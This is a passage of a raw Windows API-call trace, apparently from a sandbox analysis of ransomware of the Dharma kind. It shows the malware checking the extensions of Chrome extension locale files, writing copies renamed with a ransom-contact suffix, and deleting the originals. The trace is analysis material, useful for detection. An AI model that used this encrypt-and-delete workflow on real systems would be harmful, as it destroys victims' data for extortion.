Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.189] lstrlenW (lpString=".doc") returned 4 [0173.189] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.189] lstrlenW (lpString=".docx") returned 5 [0173.189] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.189] lstrlenW (lpString=".pdf") returned 4 [0173.189] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.189] lstrlenW (lpString=".xls") returned 4 [0173.189] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.189] lstrlenW (lpString=".xlsx") returned 5 [0173.189] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.189] lstrlenW (lpString=".ppt") returned 4 [0173.189] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.189] lstrlenW (lpString=".zip") returned 4 [0173.189] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.189] lstrlenW (lpString=".rar") returned 4 [0173.189] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.189] lstrlenW (lpString=".bz2") returned 4 [0173.189] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.189] lstrlenW (lpString=".7z") returned 3 [0173.189] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.189] lstrlenW (lpString=".dbf") returned 4 [0173.189] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.190] lstrlenW (lpString=".1cd") returned 4 [0173.190] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.190] lstrlenW (lpString=".jpg") returned 4 [0173.190] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.190] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.190] lstrlenW (lpString="messages.json") returned 13 [0173.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.190] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=221) returned 1 [0173.190] CloseHandle (hObject=0x320) returned 1 [0173.191] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json")) returned 0x2020 [0173.191] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.191] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.191] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.191] GetLastError () returned 0x0 [0173.191] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xdd, lpOverlapped=0x0) returned 1 [0173.192] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.193] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.193] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.193] SetEndOfFile (hFile=0x19c) returned 1 [0173.395] CloseHandle (hObject=0x19c) returned 1 [0173.395] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.395] SetEndOfFile (hFile=0x320) returned 1 [0173.395] CloseHandle (hObject=0x320) returned 1 [0173.395] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.396] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json")) returned 1 [0173.396] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.396] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.396] lstrlenW (lpString=".doc") returned 4 [0173.396] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.396] lstrlenW (lpString=".docx") returned 5 [0173.396] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.396] lstrlenW (lpString=".pdf") returned 4 [0173.396] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.396] lstrlenW (lpString=".xls") returned 4 [0173.396] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.396] lstrlenW (lpString=".xlsx") returned 5 [0173.396] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.396] lstrlenW (lpString=".ppt") returned 4 [0173.396] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.396] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.396] lstrlenW (lpString=".zip") returned 4 [0173.396] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.396] lstrlenW (lpString=".rar") returned 4 [0173.396] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.396] lstrlenW (lpString=".bz2") returned 4 [0173.397] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.397] lstrlenW (lpString=".7z") returned 3 [0173.397] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.397] lstrlenW (lpString=".dbf") returned 4 [0173.397] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.397] lstrlenW (lpString=".1cd") returned 4 [0173.397] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.397] lstrlenW (lpString=".jpg") returned 4 [0173.397] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.397] lstrlenW (lpString=".doc") returned 4 [0173.397] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.397] lstrlenW (lpString=".docx") returned 5 [0173.397] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.397] lstrlenW (lpString=".pdf") returned 4 [0173.397] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.397] lstrlenW (lpString=".xls") returned 4 [0173.397] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.397] lstrlenW (lpString=".xlsx") returned 5 [0173.397] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.397] lstrlenW (lpString=".ppt") returned 4 [0173.397] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.397] lstrlenW (lpString=".zip") returned 4 [0173.397] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.397] lstrlenW (lpString=".rar") returned 4 [0173.398] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.398] lstrlenW (lpString=".bz2") returned 4 [0173.398] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.398] lstrlenW (lpString=".7z") returned 3 [0173.398] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.398] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.398] lstrlenW (lpString=".dbf") returned 4 [0173.398] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.398] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.398] lstrlenW (lpString=".1cd") returned 4 [0173.398] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.398] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0173.398] lstrlenW (lpString=".jpg") returned 4 [0173.398] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.398] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.398] lstrlenW (lpString="messages.json") returned 13 [0173.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.399] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=266) returned 1 [0173.399] CloseHandle (hObject=0x320) returned 1 [0173.399] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json")) returned 0x2020 [0173.399] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.399] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.399] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.399] GetLastError () returned 0x0 [0173.399] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x10a, lpOverlapped=0x0) returned 1 [0173.400] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.401] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.402] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.402] SetEndOfFile (hFile=0x19c) returned 1 [0173.402] CloseHandle (hObject=0x19c) returned 1 [0173.402] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.402] SetEndOfFile (hFile=0x320) returned 1 [0173.403] CloseHandle (hObject=0x320) returned 1 [0173.403] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.403] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json")) returned 1 [0173.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.403] lstrlenW (lpString=".doc") returned 4 [0173.403] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.403] lstrlenW (lpString=".docx") returned 5 [0173.403] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.403] lstrlenW (lpString=".pdf") returned 4 [0173.403] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.403] lstrlenW (lpString=".xls") returned 4 [0173.403] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.403] lstrlenW (lpString=".xlsx") returned 5 [0173.403] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.403] lstrlenW (lpString=".ppt") returned 4 [0173.404] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.404] lstrlenW (lpString=".zip") returned 4 [0173.404] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.404] lstrlenW (lpString=".rar") returned 4 [0173.404] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.404] lstrlenW (lpString=".bz2") returned 4 [0173.404] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.404] lstrlenW (lpString=".7z") returned 3 [0173.404] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.404] lstrlenW (lpString=".dbf") returned 4 [0173.404] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.404] lstrlenW (lpString=".1cd") returned 4 [0173.404] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.404] lstrlenW (lpString=".jpg") returned 4 [0173.404] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.404] lstrlenW (lpString=".doc") returned 4 [0173.404] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.404] lstrlenW (lpString=".docx") returned 5 [0173.404] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.404] lstrlenW (lpString=".pdf") returned 4 [0173.404] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.404] lstrlenW (lpString=".xls") returned 4 [0173.404] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.404] lstrlenW (lpString=".xlsx") returned 5 [0173.405] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.405] lstrlenW (lpString=".ppt") returned 4 [0173.405] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.405] lstrlenW (lpString=".zip") returned 4 [0173.405] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.405] lstrlenW (lpString=".rar") returned 4 [0173.405] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.405] lstrlenW (lpString=".bz2") returned 4 [0173.405] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.405] lstrlenW (lpString=".7z") returned 3 [0173.405] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.405] lstrlenW (lpString=".dbf") returned 4 [0173.405] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.405] lstrlenW (lpString=".1cd") returned 4 [0173.405] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0173.405] lstrlenW (lpString=".jpg") returned 4 [0173.405] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.405] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.405] lstrlenW (lpString="messages.json") returned 13 [0173.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.406] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=221) returned 1 [0173.406] CloseHandle (hObject=0x320) returned 1 [0173.406] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json")) returned 0x2020 [0173.406] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 